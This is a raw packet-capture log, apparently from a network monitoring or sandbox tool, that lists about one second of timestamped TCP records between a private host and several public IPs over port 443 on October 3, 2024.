Oct 3, 2024 17:19:52.157093048 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.249361992 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.250844002 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:52.250890970 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.253855944 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.253956079 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:52.256537914 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:52.256608963 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.256750107 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:52.256757975 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.304481030 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:52.485544920 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.485920906 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.485955000 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.489552021 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.489650965 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.489942074 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.490107059 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.490117073 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.535412073 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.541539907 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.541549921 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.589580059 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.682723045 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.682812929 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.682972908 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:52.683656931 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:52.683674097 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:52.705255985 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.705562115 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.705586910 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.706715107 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.706882954 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.706912041 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.707108974 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.707190990 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.707432985 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.707510948 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.707645893 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.707654953 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.707828999 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.707904100 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.719922066 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.720015049 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.720063925 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.748528004 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.764508009 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.764524937 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.766952991 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.766998053 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.767020941 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.767065048 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.767077923 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.767112970 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.767139912 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.767155886 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.767210007 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.767904043 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:52.767920017 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:52.812531948 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.817303896 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:52.817388058 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:52.817503929 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:52.817876101 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:52.817908049 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:52.819257975 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.819304943 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.819334984 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.819365025 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.819370985 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.819396019 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.819444895 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.820590019 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.820638895 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.820651054 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.820667028 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.820708036 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.820724010 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.820738077 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.820780039 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.820796013 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.820811033 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.820867062 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.828160048 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.875533104 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.875555992 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.890178919 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.890481949 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.890522003 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.890542984 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.890557051 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.890604019 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.891290903 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.898323059 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.898417950 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.898431063 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.898550034 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.898597002 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.898606062 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.900031090 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.900151014 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.900158882 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.900995016 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.901061058 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.901067972 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.906315088 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.906380892 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.906409025 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.907201052 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.907258034 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.907273054 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.908895016 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.908925056 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.908967972 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.908988953 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.909039021 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.909883976 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.910907984 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.910931110 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.910962105 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.910979033 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.911031008 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.911955118 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.912942886 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.912971020 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.912996054 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.913001060 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.913012028 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.913053989 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.913961887 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.914015055 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.914767027 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.915596008 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.915617943 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.915647984 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.915662050 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.915708065 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.916412115 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.919044971 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.919291019 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.919353962 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.919745922 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.920092106 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.920166969 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.920242071 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.920962095 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.921163082 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.921200991 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.921694040 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.921983957 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.922050953 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.922102928 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.927192926 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.927442074 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.927479029 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.928915977 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.929003000 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.929261923 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.929366112 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.929367065 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.935087919 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.935278893 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.935339928 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.936793089 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.936887026 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.937093019 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.937166929 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.937181950 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.955550909 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.963424921 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.971477985 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.971506119 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.974247932 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.974267006 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.981023073 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.982522011 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.982590914 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.982616901 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.983107090 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.983374119 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.983418941 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.983885050 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.983916044 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.983990908 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.984009981 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.984064102 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.984410048 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.984478951 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.984493971 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.984569073 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.984617949 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.984632969 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.984735012 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.984781981 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.985028982 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.985088110 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.985323906 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.985342026 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.985780001 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.985788107 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.987514019 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.987530947 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.992898941 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.992991924 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.993043900 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.993058920 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.994338036 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.994376898 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.994405031 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.994414091 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.994467974 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.995073080 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.995515108 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.995568037 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.995574951 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.996298075 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.996359110 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.996366024 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.997746944 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.997792959 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.997811079 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.997817993 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.997864008 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.997870922 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.998584986 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.998640060 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.998646975 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.999325037 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.999387980 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.999393940 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.000046015 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.000112057 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.000119925 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.001524925 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.001569986 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.001585960 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.001594067 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.001646996 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.001653910 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.002360106 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.002413988 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.002420902 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.005664110 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.005713940 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.005755901 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.005796909 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.005822897 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.005834103 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.005882978 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.005899906 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.005999088 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.006100893 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.006139994 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.006171942 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.006978035 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.007019043 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.007075071 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.007419109 CEST	56077	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:53.007435083 CEST	443	56077	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:53.007649899 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.007659912 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.019942045 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.020004034 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.020078897 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.020318985 CEST	56078	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.020349979 CEST	443	56078	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.021389008 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:19:53.021575928 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:19:53.021636963 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:19:53.028474092 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.034537077 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.034538984 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.060367107 CEST	55755	443	192.168.2.17	136.243.216.232
Oct 3, 2024 17:19:53.060389042 CEST	443	55755	136.243.216.232	192.168.2.17
Oct 3, 2024 17:19:53.060867071 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.060967922 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.061072111 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.061285973 CEST	56080	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:53.061322927 CEST	443	56080	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:53.189814091 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.189898968 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.189958096 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.189996958 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.190016031 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.190094948 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.190578938 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.190598011 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.193737030 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.193758011 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.193836927 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.193841934 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.193907022 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.194461107 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.194479942 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.198702097 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.199050903 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.199106932 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.199119091 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.199246883 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.199305058 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.199481010 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.199493885 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.199506044 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.199548006 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.205498934 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215253115 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215275049 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215321064 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215339899 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215359926 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215362072 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.215430021 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215467930 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.215467930 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.215491056 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.215522051 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.257531881 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.258743048 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.268733978 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.268745899 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.268759012 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.268893957 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.268963099 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.269047976 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.288217068 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.288532019 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.288542986 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.290013075 CEST	443	56075	35.244.174.68	192.168.2.17
Oct 3, 2024 17:19:53.290105104 CEST	56075	443	192.168.2.17	35.244.174.68
Oct 3, 2024 17:19:53.291178942 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.291251898 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:53.291273117 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:53.291336060 CEST	443	56072	13.33.187.116	192.168.2.17
